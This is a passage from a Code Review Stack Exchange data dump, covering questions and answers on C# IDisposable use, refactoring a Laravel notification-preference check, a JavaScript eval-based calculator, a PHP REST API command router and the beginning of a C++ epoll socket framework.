it.\n}\nConsole.WriteLine(\"display with default color\");\n</code></pre>\n\n<p>Your are right, what happens in code, is exactly the same as in your version, but the expectation, what a reader thinks your code does, is completly different.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T22:05:53.220",
"Id": "236609",
"ParentId": "236565",
"Score": "2"
}
},
{
"body": "<p>Your code is generally fine. <code>Console</code> is a resource used by your class. You clean up after usage. But your code is far from being perfect and seems to have some design flaws.</p>\n\n<p>You have to check what <code>IDisposable</code> is primaryly designed for: to free application resources like memory of <em>unmanaged</em> resources. <em>Unmanaged</em> means the garbage collector is not tracking the life cycle of specific object instances and therefore not managing their reserved memory, making them become <em>unmanaged</em> instances. \nAlso sometimes you have reusable and long living resources, like a database connection instance. You can control the object instance's life cycle yourself. You can use it to make multiple requests without creating a new connection each time, as creating a connection has some overhead and might be expensive. </p>\n\n<p>So, let's say you reuse the connection object instance during each session. When the session ends, you want to end its life cyle too n order to free underlying resources like application memory.<br>\nThat's when you choose to dispose it. This is where you choose to implement <code>IDisposable</code> rather than implementing a <code>finally</code>satement <code>inside</code> the class which owns the unmanaged resources. This is how you delegate resource management to the client class which is usiing the resource owner. The client class can then decide when to dispose ie. free the unmanaged resources by choosing between a <code>finally</code> statement which needs to explicitely invoke <code>Dispose()</code> on the resource owner or a <code>using</code> statement which implicitely invokes the <code>Dispose</code> method after leaving the <code>using</code> scope.</p>\n\n<p>But for single isolated operations (method calls) you don't need to dispose the instance since its life cycle is already limited to a single isolated call. In this case you would prefer to use a <code>finally</code> statement to clean up after execution of the operation.</p>\n\n<pre><code>class ConsolePrinter\n{\n public ConsolePrinter(ConsoleColor color)\n {\n this.ConsoleForegroundColor = color;\n }\n\n private ConsoleColor ConsoleForegroundColor { get; set; }\n\n public void Print(string message)\n {\n // Remember the current console foreground to immediately revert it after use\n // in order not to interfere with other instances of this class,\n // which might have a differenet foreground set\n var currentConsoleForeground = Console.ForegroundColor;\n\n try\n {\n Console.ForegroundColor = this.ConsoleForegroundColor;\n Console.WriteLine(message);\n }\n finally\n {\n Console.ForegroundColor = currentConsoleForeground; \n }\n }\n}\n</code></pre>\n\n<p>This is a far better class design.<br>\nFrom the design perspective:</p>\n\n<p>if the modified value for the static class <code>Console</code> is not meant to be global, then set it directly where it is used and reset it right after the operation is completed. Encapsulating the setting of a static class into a seperate class doesn't make sense. It's actually not a color object but a color setter or attribute. It should rather be a property on some class which uses it (see example).</p>\n\n<p>Your current code doesn't forbid to create multiple instances of the class. By your current design each instance would override the color value set by every other instance. So to prevent this it should be a <code>static</code> class. But since the original property <code>Console.ForegroundColor</code> is alread <code>static</code>, you can deduct that your class is a redundant wrapper. You already can set <code>Console.ForegroundColor</code> from any scope which leads back to the above example code as the preferred usage.</p>\n\n<p>Also check <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.idisposable?view=netframework-4.8\" rel=\"nofollow noreferrer\">Microsoft Docs: IDisposable Interface</a> for a proper implementation of the interface.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:51:01.977",
"Id": "236650",
"ParentId": "236565",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T05:30:13.930",
"Id": "236565",
"Score": "1",
"Tags": [
"c#"
],
"Title": "Can I use IDisposable by treating abstract concepts such as colors as resources?"
}
|
236565
|
<p>I have made some notification preferences in which there are 4 major preferences </p>
<ol>
<li>SMS</li>
<li>PUSH</li>
<li>FAX</li>
<li>EMAIL</li>
</ol>
<p>And then there are some specific templates such as <code>booking-accepted</code> and within booking accepted there are again these 4 notifications.</p>
<p>So what I have to do I need to check 1st priority notification preferences first that if SMS is on then I have to check regarding specific templates that SMS is on in <code>booking-accepted</code> and then I'll send the notification or will just unset the recipient. </p>
<p>The object on notification preferences is as follows </p>
<pre class="lang-php prettyprint-override"><code>{
"sendSms": "1",
"sendFax": "1",
"sendEmail": "1",
"sendPush": "0",
"specific-templates": [
{
"update-video-physical-address": [
{
"sendPush": "1",
"sendSms": "0",
"sendEmail": "0"
}
],
"booking-denied": [
{
"sendPush": "1",
"sendSms": "0"
}
]
}
],
}
</code></pre>
<p>And The code I did for this is given below which is bit messy and unclean.</p>
<pre><code> foreach ($recipients as $recipient) {
$user = $userRepository->findByParams([
'email' => $recipient->getUser()->email
]);
if (!is_null($user->userNotificationPreference) && array_key_exists($sendMethod, $user->userNotificationPreference->preferences)
&& $user->userNotificationPreference->preferences[$sendMethod] == true) {
if (array_key_exists($notification->getTemplateCode(), $user->userNotificationPreference->preferences['specific-templates'][0])) {
if (array_key_exists($notification->getTemplateCode(), $user->userNotificationPreference->preferences['specific-templates'][0])
&& array_key_exists($sendMethod, $user->userNotificationPreference->preferences['specific-templates'][0][$notification->getTemplateCode()][0])) {
if ($user->userNotificationPreference->preferences['specific-templates'][0][$notification->getTemplateCode()][0][$sendMethod] == false) {
$key = array_search($recipient, $recipients->toArray());
unset($recipients[$key]);
}
}
}
} elseif (!is_null($user->userNotificationPreference) && array_key_exists($sendMethod, $user->userNotificationPreference->preferences)
&& $user->userNotificationPreference->preferences[$sendMethod] == false) {
$key = array_search($recipient, $recipients->toArray());
unset($recipients[$key]);
}
}
return $recipients;
</code></pre>
<ol>
<li>getTemplateCode() will return the template code i.e <code>booking-accepted</code></li>
<li>$sendMethod is method i.e <code>sendSms</code>, <code>sendPush</code></li>
</ol>
<p>Please help me with writing this mode more clean and efficient way such as reducing IFs and any other approach</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:26:58.533",
"Id": "463681",
"Score": "0",
"body": "Hey, welcome to Code Review! It is not quite clear from your question if your code currently works, i.e. reaches the desired output."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:27:57.310",
"Id": "463682",
"Score": "1",
"body": "Code works, but it looked messy, I want to refactor it. there are so many IFs,\nwanted to know if there is any other way of doing it. @Graipher"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-16T06:01:43.703",
"Id": "465424",
"Score": "0",
"body": "The current question title, which states your concerns about the code, is too general to be useful here. The site standard is for the title to simply state the task accomplished by the code. Please see [ask] for examples, and revise the title accordingly."
}
] |
[
{
"body": "<p>You could exploit Laravel collections to achieve what you need.</p>\n\n<p>Most of your code is checking for the presence/absence of props on your arrays. Laravel internally exposes and uses the <code>Illuminate\\Support\\Arr</code> class that contains a lot of useful methods to work with arrays without the hassles of checking for key existance.<br>\nIt also allows you to use dot notation to get nested properties in a really simple way.</p>\n\n<p>Laravel collection methods (<a href=\"https://laravel.com/docs/master/collections#available-methods]\" rel=\"nofollow noreferrer\">documentation</a>) use this class where needed. Therefore, the refactored code would become really intuitive and should look like this (it may need a little bit of tweaking based on your <code>userNotificationPreference</code> and <code>preferences</code> arrays and how you retrieve them from the model:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$recipients->map->getUser()\n ->where(\"userNotificationPreference.preferences.{$sendMethod}\", true)\n ->where(\"userNotificationPreference.preferences.specific-templates.0.{$notification->getTemplateCode()}.0.{$sendMethod}\", true);\n</code></pre>\n\n<p>Note that I used <code>->map->getUser()</code> that would be equivalent to:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$recipients->map(function ($recipient) {\n return $recipient->getUser();\n})\n</code></pre>\n\n<p>However, if you really need to pluck the user instance through the user repository then you can do:</p>\n\n<pre class=\"lang-php prettyprint-override\"><code>$recipients->map(function ($recipient) use ($userRepository) {\n return $userRepository->findByParams([\n 'email' => $recipient->getUser()->email\n ]);\n})->where(...);\n</code></pre>\n\n<p>and chain the where calls after that.</p>\n\n<p>If any part of my code is unclear or doesn't work, let me know in the comments and I'll explain/fix it.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-15T18:50:08.190",
"Id": "237335",
"ParentId": "236567",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T07:33:27.670",
"Id": "236567",
"Score": "2",
"Tags": [
"php",
"laravel"
],
"Title": "Refactor PHP | Laravel Code, Optimisation needed to make code clean"
}
|
236567
|
<p>I have made a code that can run a calculation from text. When I tested it, I didn't find any bugs. You are sharper than me. Maybe you can discover some bugs in this code. When you know some improvements to this code. It would be nice when you let me know.</p>
<p>I also made a calculator with this code. Of course you can easily do it too. You can make a calculator that works with an input element and it can be runned using the <code>calculate</code> function.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>// JavaScript Document "/javascript/calculator.js"
// Defining variables
Math.a = Math.b = Math.c = Math.t = Math.x = Math.y = Math.z = 0;
// Defining root for radix sign
Math.radix = function (y,x) {
if (typeof x === "number") {
return Math.pow(x,1/y);
}
return Math.sqrt(y);
}
// Defining powers and roots
Math.sqr = function (number) {
return Math.pow(number,2);
}
Math.cbr = function (number) {
return Math.pow(number,3);
}
Math.cbrt = function (number) {
return Math.pow(number,1/3);
}
// Defining angle functions
Math.cot = function (number) {
return Math.tan(Math.asin(1) - number);
}
Math.acot = function (number) {
return Math.asin(1) - Math.atan(number);
}
Math.deg2rad = function (number) {
// It has to be Math.asin(1) because Math.PI returns one decimal too big
return number * Math.asin(1) / 90;
}
Math.rad2deg = function (number) {
return number * 90 / Math.asin(1);
}
Math.dsin = function (number) {
return Math.sin(Math.deg2rad(number));
}
Math.dcos = function (number) {
return Math.cos(Math.deg2rad(number));
}
Math.dtan = function (number) {
return Math.tan(Math.deg2rad(number));
}
Math.dcot = function (number) {
return Math.cot(Math.deg2rad(number));
}
Math.dasin = function (number) {
return Math.rad2deg(Math.asin(number));
}
Math.dacos = function (number) {
return Math.rad2deg(Math.acos(number));
}
Math.datan = function (number) {
return Math.rad2deg(Math.atan(number));
}
Math.dacot = function (number) {
return Math.rad2deg(Math.acot(number));
}
Math.grad2rad = function (number) {
return number * Math.asin(1) / 100;
}
Math.rad2grad = function (number) {
return number * 100 / Math.asin(1);
}
Math.gsin = function (number) {
return Math.sin(Math.grad2rad(number));
}
Math.gcos = function (number) {
return Math.cos(Math.grad2rad(number));
}
Math.gtan = function (number) {
return Math.tan(Math.grad2rad(number));
}
Math.gcot = function (number) {
return Math.cot(Math.grad2rad(number));
}
Math.gasin = function (number) {
return Math.rad2grad(Math.asin(number));
}
Math.gacos = function (number) {
return Math.rad2grad(Math.acos(number));
}
Math.gatan = function (number) {
return Math.rad2grad(Math.atan(number));
}
Math.gacot = function (number) {
return Math.rad2grad(Math.acot(number));
}
// Defining function to get the left parameter from an operator
function getLeftParam(text,cursorpos,pattern) {
var leftText = text.slice(0,cursorpos);
leftText = leftText.replace(/\s*$/,"");
if (/[\d]$/.test(leftText)) {
return String(leftText.match(pattern || /(?:\d*\.)?\d+(?:e[+-]\d+)?$/));
}
if (/[^\w$][abctxyz]$/.test(leftText)) {
return String(leftText.match(/[abctxyz]$/));
}
leftText = leftText.split("").reverse().join("");
if (!(/^\)/.test(leftText))) {
return;
}
var cc = 1, cs = 1;
while (cc > 0) {
if (leftText.slice(cs).match(/\(|\)/) == "(") {
cc--;
} else if (leftText.slice(cs).match(/\(|\)/) == ")") {
cc++;
} else {
return;
}
cs += leftText.slice(cs).search(/\(|\)/) + 1;
}
cs += leftText.slice(cs).match(/^(\s?[A-Za-z\d_$]*[A-Za-z_$])?/)[0].length;
return String(text.slice(leftText.length - cs,cursorpos));
}
// Defining the same for right
function getRightParam(text,cursorpos,pattern) {
var rightText = text.slice(cursorpos);
rightText = rightText.replace(/^\s*/,"");
if (/^-?\d+/.test(rightText)) {
return String(rightText.match(pattern || /^[+-]?(?:\d*\.)?\d+(?:e[+-]\d+)?/));
}
if (/^[abctxyz][^\w$\(]/.test(rightText)) {
return String(rightText.match(/^\w/));
}
if (!(/^(?:[A-Za-z_$][\w$]*\s?)?\(/.test(rightText))) {
return;
}
var cc = 1, cs = rightText.search(/\(|\)/) + 1;
while (cc > 0) {
if (rightText.slice(cs).match(/\(|\)/) == ")") {
cc--;
} else if (rightText.slice(cs).match(/\(|\)/) == "(") {
cc++;
} else {
return;
}
cs += rightText.slice(cs).search(/\(|\)/) + 1;
}
return String(text.slice(cursorpos,cursorpos + cs));
}
// Calculation function that can be runned by a script
function calculate(text, anglemode) {
text = String(text);
if (text == "") {
return TypeError("Empty calculation");
}
text = text.replace(/\n/g," ");
text = text.replace(/;/g,",");
{
// Checking every variable to make sure you can't run an illegal javascript function
let vars = text.match(/[\w$]+/g);
if (vars) {for (var i=0;i<vars.length;i++) {
if (typeof Math[vars[i]] == "undefined" && isNaN(vars[i])) {
return ReferenceError("Cannot read property \"" + vars[i] + "\" of \"Math\"");
}
}}
}
// Angle mode
if (typeof anglemode == "number") {
text = text.replace(/([^\w$]|^)(a?(?:cos|sin|tan|cot)(?:[^\w$]|$))/, "$1" + ["d","","g"][anglemode] + "$2");
}
// Adding absolute values
while (typeof text == "string") {
let cur = text.indexOf("|");
// Loop untill there is no vertical bar (I couldn't use while (true) because my editor should think it is a mistake)
if (cur === -1) {
break;
}
if (typeof getRightParam(text,cur+1) == "string") {
text = text.replace(/\|/,"abs(\n");
} else if (typeof getLeftParam(text,cur) == "string") {
text = text.replace(/\|/,"\n)");
} else {
return SyntaxError("Unexpected token |");
}
}
// When a double vertical bar is detected, match it as an binary parameter
text = text.replace(/\n\)abs\(\n/g,"|");
text = text.replace(/\n/g,"");
// Adding some parameters
while (typeof text == "string") {
let cur = text.indexOf("^");
if (cur === -1) {
break;
}
let number1 = getLeftParam(text,cur);
let number2 = getRightParam(text,cur+1);
if (typeof number1 != "string" || typeof number2 != "string") {
return SyntaxError("Unexpected token ^");
}
text = text.slice(0,text.lastIndexOf(number1,cur)) + "pow(" + number1 + "," + number2 + ")" + text.slice(text.indexOf(number2,cur) + number2.length);
}
while (typeof text == "string") {
let cur = text.indexOf("\u221a");
if (cur === -1) {
break;
}
let number = getRightParam(text,cur+1,/^[+-]?(?:\d*\.)?\d+(?:e[+-]\d+)?(?:&[+-]?(?:\d*\.)?\d+(?:e[+-]\d+)?)?/);
if (typeof number != "string") {
return SyntaxError("Unexpected token \u221a");
}
number = number.replace(/&/,",");
let ilength = number.length;
if (number[0] != "(") {
number = "(" + number + ")";
}
text = text.slice(0,cur) + "radix" + number + text.slice(ilength + cur + 1);
}
// Running the code
with (Math) {
try {
var output = Number(eval(text));
if (isNaN(output) || typeof output != "number") {
throw TypeError("The result of \"" + text + "\" is not a valid number");
}
if (Math.abs(output) === Infinity) {
throw ReferenceError("The result of \"" + text + "\" is outside range");
}
return output;
} catch (err) {
return err;
}
}
}
// Run an example
console.log(calculate("c=\u221a(3^2+4^2)"))</code></pre>
</div>
</div>
</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:34:23.990",
"Id": "463685",
"Score": "0",
"body": "Fixed bug at line 162: Angle mode don't match functions at the start of a text"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:39:56.717",
"Id": "463827",
"Score": "0",
"body": "Fixed bug at line 154: When there is not a variable nor number, the function will break itself instead of returning an error."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:13:19.040",
"Id": "463844",
"Score": "1",
"body": "Please stop editing the code in your question, doing so goes against the Question + Answer style of Code Review. This is not a forum where you should keep the most updated version in your question. Please see *[what you may and may not do after receiving answers](//codereview.meta.stackexchange.com/a/1765)*."
}
] |
[
{
"body": "<p>First off, my basic maths is a bit rusty, but is <code>radix</code> correct? Shouldn't <code>Math.pow(x,1/y)</code> be <code>Math.pow(y,1/x)</code>?</p>\n\n<p>I'm not a big fan of \"extending\" the native <code>Math</code> object. The <code>Math</code> object isn't a regular JavaScript object so you shouldn't assume that all implementations will allow you to add new properties to it. It would be better to create your own object and copy the properties and methods needed over from <code>Math</code>.</p>\n\n<p>The code in general leans a bit to the cryptic side. Especially the many regular expressions urgently need some comments and the code could be split up into functions with descriptive names.</p>\n\n<p>The use of the <code>String</code> constructor seems unnecessary in most places and could be replaced with more readable alternatives.</p>\n\n<p>Checking the return values from <code>getLeft/RightParam</code> with <code>typeof</code> seems overkill. I'd use a simple truthy check (<code>if (number) {</code>) instead.</p>\n\n<p>The <code>getLeftParam</code> and <code>getRightParam</code> functions share a lot of similar code.</p>\n\n<p>The repeated use of <code>while (typeof text == \"string\") {</code> looks strange to me, because in as far as I can see in all cases the condition never becomes <code>false</code>.</p>\n\n<p>Error handling seems inconsistent. Sometimes errors are returned, sometimes thrown. And the choices of error objects (<code>ReferenceError</code>, <code>TypeError</code>, etc.) seem arbitrary.</p>\n\n<p>And as a pure gut feeling I don't think the code supports arbitrary deep brackets.</p>\n\n<p>Finally, while I do think this can be valid use of \"evil\" <code>eval</code>, you do put a lot of (necessary) work into validating and replacing in order to extend the syntax and use it safely. However I believe it wouldn't be much more work to instead write a full parser/interpreter that avoids using <code>eval</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:29:07.057",
"Id": "463823",
"Score": "0",
"body": "It has to return the error to allow giving the error at your own way.\nFor example: `alert(calculate(\"foo*a\",1))` alerts _ReferenceError: Cannot read property \"foo\" of \"Math\"_"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-07T07:59:30.873",
"Id": "464315",
"Score": "0",
"body": "You should ask me why I used ```while (typeof text === \"string\")```. I think ```while (true)``` is also a strange looking code. So the question is: what is the alternate way."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-12T09:56:59.027",
"Id": "464890",
"Score": "0",
"body": "`while (true)` is certainly better than using an irrelevant expression. I spent quite a while trying to figure out when the expression turns false. There are several ways to avoid `while (true)`, that easily can be googled."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T14:45:04.723",
"Id": "236586",
"ParentId": "236568",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T07:43:28.767",
"Id": "236568",
"Score": "0",
"Tags": [
"javascript",
"unit-testing",
"calculator"
],
"Title": "Asking for test: Calculator function javascript"
}
|
236568
|
<p>I am putting together a php Rest API service that uses Controller and Command pattern to handle requests.</p>
<p>Firstly, in Apache config I redirect all requests to a single end point, <code>/api/v1/index.php</code>.</p>
<pre><code>RewriteEngine On
RewriteRule ^/api/v1/([^/]*)/([^/]*)/* /api/v1/index.php/?command=$1&subcommand=$2 [PT]
RewriteRule ^/api/v1/([^/]*)/* /api/v1/index.php/?command=$1 [PT]
</code></pre>
<p>That maps <code>/api/v1/param1</code> to <code>/api/v1/?command=param1</code> and <code>/api/v1/param1/param2</code> to <code>/api/v1/?command=param1&subcommand=param2</code>. Depending on the parameters, the correct Command object is created and a correct function of that object is called based on REQUEST_METHOD and presence of subcommand. The beauty of it is that you can add a new route as a file in commands folder and CommandResolver will automatically use it if appropriate based on <code>param1</code> value. It matches <code>param1</code> with a file in commands folder.</p>
<p>It is very similar to how Express handles routes. You declare a route path and the function is called when needed by the express:</p>
<pre><code>//express routing
app.get('/ab+cd', function (req, res) {
res.send('ab+cd')
})
</code></pre>
<p>Each route is declared only ones in both Express and the design I present.</p>
<p>This is the structure of the project:
<a href="https://i.stack.imgur.com/TiCi1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TiCi1.png" alt="enter image description here"></a></p>
<pre><code>//index.php
<?php
require("vendor/autoload.php");
$controller = new api\Controller();
$controller->handleRequest();
</code></pre>
<p>// Controller.php</p>
<pre><code><?php
namespace api;
class Controller{
public function handleRequest(){
$commandResolver = new CommandResolver();
$command = $commandResolver->resolveCommand();
$command->execute();
}
}
</code></pre>
<p>//CommandResolver.php</p>
<pre><code><?php
namespace api;
class CommandResolver{
private string $base_class = "api\\v1\commands\\ACommand";
public string $command;
public function resolveCommand():ACommand{
if(isset($_GET) && !empty($_GET) ){
$this->command = $_GET["command"];
}
else if(isset($_SERVER['argv'])){
$this->command = explode("=", $_SERVER['argv'][1])[1];
}
$this->command = ucfirst($this->command);
if(class_exists("api\\v1\commands\\".$this->command)){
$command_class = new \ReflectionClass("api\\v1\commands\\" . $this->command);
if ($command_class->isSubClassOf($this->base_class)){
return $command_class->newInstance();
} else {
throw new \Exception("Command: '" . $this->command . "' is not subclass of base command.");
}
}else{
throw new \Exception("Command: '" . $this->command . "' does not exist.");
}
}
}
</code></pre>
<p>//ACommand.php</p>
<pre><code><?php
namespace api\v1\commands;
abstract class ACommand{
public function execute(){
if(isset($_GET["subcommand"])){
$subcommand = $_GET["subcommand"];
switch ($_SERVER['REQUEST_METHOD']){
case "GET": $this->GetExecuteWithData($subcommand);break;
case "POST": $this->PostExecuteWithData($subcommand);break;
case "PATCH": $this->PatchExecuteWithData($subcommand);break;
default:break;
}
}else{
switch ($_SERVER['REQUEST_METHOD']){
case "GET": $this->GetExecute();break;
case "POST": $this->PostExecute();break;
case "PATCH": $this->PatchExecute();break;
default:break;
}
}
}
protected function GetExecute(){}
protected function PostExecute(){}
protected function PatchExecute(){}
protected function GetExecuteWithData(string $version){}
protected function PostExecuteWithData(string $version){}
protected function PatchExecuteWithData(string $version){}
}
</code></pre>
<p>Version.php // example of end point</p>
<pre><code><?php
namespace api\v1\commands;
class Version extends ACommand{
protected function GetExecuteWithData(string $version{
echo $version."<br>";
}
protected function PostExecute(){
// handle $_POST data
}
}
</code></pre>
<p>I am very satisfied with the ease of use of this approach. However, I can't think of a way to extend this approach to more than 2 url params. Currently it only handles urls of format <code>/api/v1/param1</code> and <code>/api/v1/param1/param2</code>. I'd like to extend it to also handle <code>/api/v1/param1/param2/param3</code> and <code>/api/v1/param1/param2/param3/param4</code>. The Express way is the following:</p>
<pre><code>app.get('/users/:userId/books/:bookId', function (req, res) {
res.send(req.params)
})
</code></pre>
<p>I'd like to keep the 1 route to 1 function mapping. Route <code>/users/:userId/books/:bookId</code> would map to different function than <code>/users/:userId/toys/:toyId</code>. I am looking for ideas on how to implement this in PHP and keep code repeating to minimum.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T09:36:43.970",
"Id": "463696",
"Score": "0",
"body": "There is a lot to review. And I might add my review if I have some free time after work. Util then, you can check the slim framework and especialy their router. http://www.slimframework.com/docs/v3/objects/router.html"
}
] |
[
{
"body": "<h1>Reinventing the wheel</h1>\n\n<p>You didnt make any indication that you are doing this as excercise. In that case you should try something already written and tested. Like Slim framework (<a href=\"http://www.slimframework.com/docs/v3/objects/router.html\" rel=\"nofollow noreferrer\">http://www.slimframework.com/docs/v3/objects/router.html</a>) which looks very similar to the \"Express way\".</p>\n\n<p>Also check out PSR interfaces.</p>\n\n<p>In case this is just an excercise for you or you simply want to have everything under your own control for some reason, let me review your code anyway (in a bit abstract way tho)</p>\n\n<h1>Apache</h1>\n\n<p>You are making it unnecesarily coupled to apache rewrite module.\nYou can just put redirect everything (except static assets I suppose) to index.php. This will make it very easy to switch to nginx for example, someday in future. And decide on which \"command\" to use just from the request uri (accessible as <code>$_SERVER['REQUEST_URI']</code>).\nUnless of course it is essential for you to be able to call the api as <code>/command-x</code> as well as <code>/?command=command-x</code>. Personally I dont see a reason for this.\nThis will also automatically allow you to encode much more things in the uri path.</p>\n\n<h1>Dependency Injection</h1>\n\n<p>You should read something about dependency injection. Ie here:</p>\n\n<pre><code>public function handleRequest(){\n $commandResolver = new CommandResolver();\n $command = $commandResolver->resolveCommand();\n $command->execute();\n }\n</code></pre>\n\n<p>It is not very good if one class instantiates another classes and at the same time acts on the new instance. In the case above, CommandResolver instance should be passed to the controller in contructor.</p>\n\n<p>You will also find out that to inject dependencies to the individual commands, you will need something more sophisticated than match command name to a file. As those individual commands will have different dependencies and thus different constructors.</p>\n\n<h1>(Super)global variables</h1>\n\n<p>Try to avoid access to global variables as much as possible.\nYou should only access $_GET, $_POST, etc from one place and pass the values around to those who need them. Dont access those superglobals from any class where you need it.</p>\n\n<h1>Abstract Command Is Too Restrictive</h1>\n\n<p>You should not restrict your commands to POST PATCH and GET. Some endpoints may not have all of those, some endpoints may need more. You could pass something like <code>Psr\\Http\\RequestInterface</code> to your commands and let them decide if method is acceptable. And unlike in your code returning HTTP 405 is appropriate when given http method is not supported for given endpoint.</p>\n\n<p>The command should be just an interface with probably one method, if not using directly <code>\\Psr\\Http\\Server\\RequestHandlerInterface</code>.</p>\n\n<p>The abstract class will only make things worse.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T20:35:34.590",
"Id": "463770",
"Score": "0",
"body": "Very informative. Thanks!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T19:05:57.903",
"Id": "236606",
"ParentId": "236570",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "236606",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-03T08:45:38.360",
"Id": "236570",
"Score": "4",
"Tags": [
"php"
],
"Title": "Extending PHP REST API Controller design to complex routes"
}
|
236570
|
<p>I created an asio framework using <code>epoll</code>.</p>
<p>Full project: <a href="https://github.com/arkceajin/EpollSocket.git" rel="nofollow noreferrer">https://github.com/arkceajin/EpollSocket.git</a></p>
<p>I wanna know is there any potential issue.</p>
<p>Below is the core part, and the remaining part is the application and serialization code.</p>
<p><strong>The abstraction of socket connection.</strong></p>
<p>abstractsocket.h</p>
<pre><code>#ifndef ABSTRACTSOCKET_H
#define ABSTRACTSOCKET_H
#include <string>
#include <sys/socket.h>
#include <netdb.h>
#include <vector>
#include <cstddef>
#include "pack.h"
#define UNUSED(x) (void)x;
#define EPOLL_QUEUE_LEN 100
#define MAX_EPOLL_EVENTS_PER_RUN 100
#define EPOLL_WAIT_TIMEOUT 500
namespace EpollSocket {
typedef uint8_t Byte;
typedef std::vector<Byte> Bytes;
typedef std::vector<int> Clients;
typedef void (*OnNewConnected)(int fd, const char* address);
typedef void (*OnServerReceived)(int fd, const Clients& clients);
typedef void (*OnClientReceived)(int fd);
void receive(const int& fd, Bytes& buffer, const size_t& size);
void send(const int& fd, const Bytes &buffer);
class SocketException : public std::exception
{
public:
enum Type {
SocketBindError,
SocketReceiveError,
SocketSendError,
SocketUnknowError,
};
SocketException(const Type& type);
~SocketException() override;
int perrno() const;
private:
const char* what() const noexcept override;
Type mType;
};
class AbstractSocket
{
public:
enum SocketState{
UnconnectedState,
HostLookupState,
ConnectingState,
ConnectedState,
BoundState,
ClosingState,
ListeningState
};
AbstractSocket();
bool close();
inline int sockfd() const {
return mSockfd;
}
protected:
int setsockopt(const int& optname, const int &val);
bool establish(const std::string &addr,
const std::string &service,
int (*action)(int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len),
const int& socktype);
int mSockfd;
SocketState mState;
};
}
</code></pre>
<p>abstractsocket.cpp</p>
<pre><code>#endif // ABSTRACTSOCKET_H
#include "abstractsocket.h"
#include <arpa/inet.h>
#include <sys/un.h>
#include <unistd.h>
#include <sys/epoll.h>
namespace EpollSocket {
SocketException::SocketException(const SocketException::Type &type):
std::exception(),
mType(type)
{
}
SocketException::~SocketException()
{
}
int SocketException::perrno() const
{
return errno;
}
const char *SocketException::what() const noexcept
{
switch (mType) {
case SocketBindError:
return "Failed to bind";
case SocketReceiveError:
return "SocketReceiveError";
case SocketSendError:
return "SocketSendError";
case SocketUnknowError:
return "SocketUnknowError";
}
return "SocketUnknowError";
}
AbstractSocket::AbstractSocket():
mSockfd(-1),
mState(UnconnectedState)
{
}
int AbstractSocket::setsockopt(const int &optname, const int& val)
{
return ::setsockopt(mSockfd, SOL_SOCKET, optname, &val, sizeof val);
}
bool AbstractSocket::establish(const std::string &addr,
const std::string &service,
int (*action)(int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len),
const int &socktype)
{
if(mState != UnconnectedState)
return false;
int status;
addrinfo hints;
addrinfo* servinfo = nullptr, *p = nullptr;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = socktype;
if(addr.empty())
hints.ai_flags = AI_PASSIVE;
if((status = getaddrinfo(addr.empty()?nullptr:addr.c_str(),
service.c_str(),
&hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo error: %s\n", gai_strerror(status));
return false;
}
// loop through all the results and bind to the first we can
for(p = servinfo; p != nullptr; p = p->ai_next) {
if((mSockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
perror("socket error"); // Not a critical error.
continue;
}
if(action(mSockfd, p->ai_addr, p->ai_addrlen) == -1)
continue;
break;
}
freeaddrinfo(servinfo);
if (p == nullptr) {
throw SocketException(SocketException::SocketBindError);
}
mState = ConnectingState;
return true;
}
bool AbstractSocket::close()
{
const int& r = ::close(mSockfd);
if (r != -1) {
mState = UnconnectedState;
return true;
}
return false;
}
void receive(const int &fd, Bytes &buffer, const size_t &size)
{
if (size == 0)
return;
size_t bytesRead = 0;
ssize_t result;
while (bytesRead < size) {
result = ::read(fd, static_cast<Byte*>(buffer.data()) + bytesRead, size - bytesRead);
if (result < 0 ) {
throw SocketException(SocketException::SocketReceiveError);
} else if (result == 0) {
break;
}
bytesRead += static_cast<size_t>(result);
}
}
